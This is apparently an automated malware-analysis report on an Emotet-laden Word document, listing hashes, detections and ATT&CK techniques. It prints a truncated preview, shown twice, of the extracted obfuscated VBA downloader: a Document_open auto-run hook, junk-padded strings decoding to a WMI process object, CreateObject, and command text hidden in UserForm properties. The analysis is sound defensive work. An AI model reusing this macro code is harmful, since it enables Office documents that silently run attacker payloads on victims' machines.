Emotet Office (OLE) malware analysis — malicious · 54f8740ffab35d14

MALICIOUS

Office (OLE)

194.8 KB Created: 2020-07-17 16:30:00 Authoring application: Microsoft Office Word First seen: 2020-09-04

MD5: 35aa511895f87105eeabb7193991ff00 SHA-1: dc6d8499071fd595ddf3b9901816b55cb3a5841c SHA-256: 54f8740ffab35d14e05c039a433737452d7f3de5ea39227e493f83efe74aa59a

262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection explicitly names Emotet. The VBA code likely attempts to download and execute a second-stage payload, a common tactic for this family.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-10022426-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-10022426-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 61285 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	61285 bytes
SHA-256: `2b11cb35cb17c40a92fb01c0e104e81cfb7005a27e14bf7418bd43de2dce9576`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "sauktaldiaqujeolzox" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() neh End Sub Attribute VB_Name = "keanyeyraitjauzneiymaur" Attribute VB_Base = "0{26581C2E-DB0A-4BAC-BB09-7102EAFE43B7}{AFDD8EF7-C4E0-42C9-8085-05784848F52F}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "kouthyovthoajvaoz" Function neh() luath = Chr(keanyeyraitjauzneiymaur.Zoom + 1 + 4 + 10) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If lauthhig = "6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDw6723tguT&^$^RFy23uikJGDi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn6723tguT&^$^RFy23uikJGDm6723tguT&^$^RFy23uikJGDg6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDmt6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + luath + ":6723tguT&^$^RFy23uikJGDwi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn36723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD26723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD_6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + keanyeyraitjauzneiymaur.woalthiegseuxmoik + "r6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDo6723tguT&^$^RFy23uikJGDce6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD" bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If ceiwcaucdowveedrukchoaw = hioz(lauthhig) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If Set ciogvuxruux = CreateObject(ceiwcaucdowveedrukchoaw) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If heirzeitleeg = keanyeyraitjauzneiymaur.quuavxaepchein.ControlTipText bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$ ... (truncated)

SHA-256: 2b11cb35cb17c40a92fb01c0e104e81cfb7005a27e14bf7418bd43de2dce9576

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "sauktaldiaqujeolzox"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
neh
End Sub

Attribute VB_Name = "keanyeyraitjauzneiymaur"
Attribute VB_Base = "0{26581C2E-DB0A-4BAC-BB09-7102EAFE43B7}{AFDD8EF7-C4E0-42C9-8085-05784848F52F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kouthyovthoajvaoz"
Function neh()
luath = Chr(keanyeyraitjauzneiymaur.Zoom + 1 + 4 + 10)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
lauthhig = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + luath + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + keanyeyraitjauzneiymaur.woalthiegseuxmoik + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
ceiwcaucdowveedrukchoaw = hioz(lauthhig)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
Set ciogvuxruux = CreateObject(ceiwcaucdowveedrukchoaw)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
heirzeitleeg = keanyeyraitjauzneiymaur.quuavxaepchein.ControlTipText
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$
... (truncated)

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